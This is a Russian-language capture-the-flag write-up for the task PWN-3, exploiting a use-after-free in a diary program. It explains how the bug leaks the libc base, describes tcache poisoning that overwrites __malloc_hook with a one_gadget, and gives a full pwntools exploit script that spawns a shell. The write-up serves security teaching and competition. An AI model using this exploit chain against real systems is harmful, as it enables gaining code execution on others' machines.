# PWN-3
Оценка: 30
## Описание
В данном задании необходимо проэксплуатировать бинарную уязвимость, связанную с небезопасной работой с кучей.
[Файл №1](https://github.com/dered-cybersecurity/nto_2023/blob/main/1-offensive/PWN-3/54ad182d-e7ea-4765-bfb8-c79304504f42_diary.zip)
## Решение
Задание представляет собой имитацию дневника. Доступен функционал создания, чтения, удаления и изменения записей.


Вся структура напоминает классическое задание на эскплуатию небезопасной работы с памятью.
```c
void printMenu() {
puts("1) Add");
puts("2) Edit");
puts("3) View");
puts("4) Remove");
puts("5) Exit");
}
```
Сразу же ясeн характер уязвимости: при удалении записи указатель на область кучи на заменяется нулем, что позволяет с помощью методов редактирования и чтения записей обращаться к освобожденным участкам кучи (UAF).
```c
void deleteGrade() {
//...//
free(diary[index] -> comment);
free(diary[index]);
}
```
### Getting leak
Прежде всего воспользуемся найденной уязвимостью, чтобы получить базовый адрес libc. Для этого, освободив достаточно большой для попадания в `unsorted bin` участок памяти, посмотрим его содержимое методом `viewGrade()`. У чанков в `unsorted bin` на месте указателя `fd` будет лежать адрес `main_arena`, которая находится как раз где-то внутри glibc.
*структура malloc_chunk для напоминания*
```c
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
};
```
### Getting RCE
Чтобы перехватить управление исполнением программы, воспользуемся тем, что в версии glibc задания все еще присутствуют символы `__free_hook`, `__malloc_hook` и `__realloc_hook`. Переписав их значение на указатель интересующей нас функции (разумеется, `system`), мы сможем, подав в качестве аргумента функции `free()` указатель на аллоцированный кусок памяти со строкой `/bin/sh`, получить shell.
Для этого будет исполнена техника -[`tcache_poisoning`](https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c). Переписав в "отравленном" чанке указатель `fd` на адрес `__free_hook`, мы сможем, выделив его себе под запись, изменить значение на адрес функции `system`.
### Payload
```py
import pwn
from os import getenv
ONE_GADGETS = [0xe699e, 0xe69a1, 0xe69a4, 0x10af39]
io = pwn.remote(getenv("IP"), int(getenv("PORT")))
def Add(mark, size, comment):
io.sendline(b"1")
io.recvuntil(b": ")
io.sendline(str(mark).encode())
io.recvuntil(b": ")
io.sendline(str(size).encode())
io.recvuntil(b": ")
io.send(comment)
io.recvuntil(b": ")
def Edit(index, mark, size, data):
io.sendline(b"2")
io.sendlineafter(b': ', str(index).encode())
io.sendlineafter(b': ', str(mark).encode())
io.sendlineafter(b': ', str(size).encode())
io.sendlineafter(b': ', data)
io.recvuntil(b": ")
def View(index):
io.sendline(b"3")
io.sendlineafter(b': ', str(index).encode())
comment = io.recvuntil(b'1)')[15:]
io.recvuntil(b": ")
return comment
def Remove(index):
io.sendline(b"4")
io.sendlineafter(b': ', str(index).encode())
io.recvuntil(": ")
def Exit():
io.sendline(b'5')
io.interactive()
Add(0, 0x410, b"/bin/bash") # 0
Add(1, 0x40, b"/bin/bash") # 1
Add(2, 0x40, b"/bin/bash") # 2
# fill up tcache and prevent chunk consolidation
for i in range(3, 10):
Add(i, 0x60, b"/bin/bash")
for i in range(3, 10):
Remove(i)
# move large chunk to unsorted bin
Remove(0)
leak = View(0)
leak = leak.split(b': ')[2][:-2]
leak = int.from_bytes(leak, byteorder="little")
libc_base = leak - 0x1eabe0
print("[+] leak: ", hex(leak))
print("[+] base: ", hex(libc_base))
# tcache poisoning
Remove(1)
Remove(2)
# malloc hook
Edit(2, 5, 0x40, pwn.p64(libc_base + 0x1eab5d))
Add(0, 0x40, b"/bin/bash")
Add(0, 0x40, b"\x00"*19 + pwn.p64(libc_base + ONE_GADGETS[1]))
io.sendline(b"1")
io.interactive()
```